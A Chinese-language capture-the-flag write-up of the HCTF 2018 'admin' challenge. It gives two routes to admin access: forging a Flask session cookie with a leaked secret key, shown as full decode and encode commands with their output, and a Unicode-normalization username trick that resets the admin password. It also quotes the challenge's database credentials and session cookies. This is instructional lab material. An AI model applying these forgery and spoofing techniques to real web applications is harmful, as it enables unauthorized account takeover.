[HCTF 2018]admin-1
涉及的知识点:session伪造、unicode欺骗
方法一:session伪造
1、打开链接查看源代码信息,如下:
<!-- you are not admin -->
2、根据提示可知我们要通过admin账户进行登录,那我们首先先注册一个用户username:123,pwd:123,登录成功后进行修改账户密码并查看源代码信息,发现存在一个git链接,结果如下:
<!-- https://github.com/woadsl1234/hctf_flask/ -->
3、在下载的文件中发现了app/config.py文件,文件中说明了加密的密匙,信息如下:
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
4、登录123账户,通过brup抓取修改账户123密码的数据包,获取session信息,数据包信息如下:
POST /change HTTP/1.1
Host: xxxxxxxxxxxxxxxxxxxxxx.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://c4d9703a-509c-42d1-b644-eb21d8a0cede.node4.buuoj.cn:81/change
Cookie: session=.eJw9kEFrg0AUhP9K2XMOumYvgRwC24qF90R52_D2ElpjNKubgiYYDfnvXXIow8Awhw9mHuJwGuqxFZvrcKtX4nA-is1DvP2IjbBUeqshyqmLmFixNzG6arbBoBsJQdZhz9LMlrIYUqMwzRJ06MAde6BGsWsmoN2Eaeh0NmPKEr1RsPBivVlyOnYYkt1nd_TFhPuPNtd9z65sLX2GnE25Not1XWJ1peye1-zfE-vKM1MjUXLEkrfiuRLVOJwO19-uvvxPAGfuOYFCzXekKgrYHqSJMC19nmbKepiRwhAqFtS7NSxfLRbbF-7y7euAiGUiVuI21sPrGxFH4vkHquNjow.Ys5SMg.6MEmO1D4sCc0v9bCFKXQX5hSMb0; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2105253210143
Content-Length: 149
-----------------------------2105253210143
Content-Disposition: form-data; name="newpassword"
123
-----------------------------2105253210143--
5、通过flask_session_cookie_manager3.py对加密信息进行解密,具体的使用方式参考:https://www.cnpython.com/pypi/flask-session-cookie-manager,解密信息如下:
python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJw9kEFrg0AUhP9K2XMOumYvgRwC24qF90R52_D2ElpjNKubgiYYDfnvXXIow8Awhw9mHuJwGuqxFZvrcKtX4nA-is1DvP2IjbBUeqshyqmLmFixNzG6arbBoBsJQdZhz9LMlrIYUqMwzRJ06MAde6BGsWsmoN2Eaeh0NmPKEr1RsPBivVlyOnYYkt1nd_TFhPuPNtd9z65sLX2GnE25Not1XWJ1peye1-zfE-vKM1MjUXLEkrfiuRLVOJwO19-uvvxPAGfuOYFCzXekKgrYHqSJMC19nmbKepiRwhAqFtS7NSxfLRbbF-7y7euAiGUiVuI21sPrGxFH4vkHquNjow.Ys5SMg.6MEmO1D4sCc0v9bCFKXQX5hSMb0"
{'_fresh': True, '_id': b'e4fd34994a69be5672f720863c6f3ece2e250e94b763c27e189b801004cc0224f66e9363fe397d76feb16d05aa89eb4ae2a820853f97d79ef8ba7f4ba867f4cf', 'csrf_token': b'251939461574b4e3e44df8b9fc253614340835a5', 'name': '123', 'user_id': '10'}
6、修改解密后字符串中的name值为admin并进行加密,如下:
{'_fresh': True, '_id': b'e4fd34994a69be5672f720863c6f3ece2e250e94b763c27e189b801004cc0224f66e9363fe397d76feb16d05aa89eb4ae2a820853f97d79ef8ba7f4ba867f4cf', 'csrf_token': b'251939461574b4e3e44df8b9fc253614340835a5', 'name': 'admin', 'user_id': '10'}
加密代码:python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'e4fd34994a69be5672f720863c6f3ece2e250e94b763c27e189b801004cc0224f66e9363fe397d76feb16d05aa89eb4ae2a820853f97d79ef8ba7f4ba867f4cf', 'csrf_token': b'251939461574b4e3e44df8b9fc253614340835a5', 'name': 'admin', 'user_id': '10'}"
加密后的值:.eJw9kEGLwjAUhP_K8s4eajQXwYOQ3dKFvNLysvJyEW1ra9p0oSq1Ff_7Bg_LMDDM4YOZJxzOQ3VtYHMb7tUCDpcSNk_4OMEGLOXeKh2l1EZMLNmbJbpissFa1UIHWYcdCzNZSpY6NhLjZIUOnXZlp6mW7OpR027EOHQqmTBmgd5IPfNsvZlTKlsMye6TB_psxP1Xk6quY5c3lr5DTsZUmdm6dmVVIe2e1-w_V9blF6ZaoOCIBW_htYDiOpwPt9-26v8naGceKWmJih9IRRSwnRYmwjj3aZxI6_WEFIZQNqParfX802C2feP6o68C4lj6Sw8LuF-r4f0OLCN4_QGEz2UW.Ys5TrQ.j3tY_deQQSPN61T2d570kVOG02s
7、替换第4步中抓取的数据包中的session信息,获得flag值,如下:
方法二:unicode欺骗
参考网上大佬的发现,这里记录以下供自己学习:
在修改密码的源代码中对strlower()函数进行了重定义,使用nodeprep.prepare进行了替换,当我们注册的用户名是这个:ᴬᴰᴹᴵᴺ,login的时候会经过一次strlower会变成ADMIN,在change password的时候会变成admin,最终实现admin密码的修改,成功登录,获取到flag。
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
def strlower(username):
username = nodeprep.prepare(username)
return username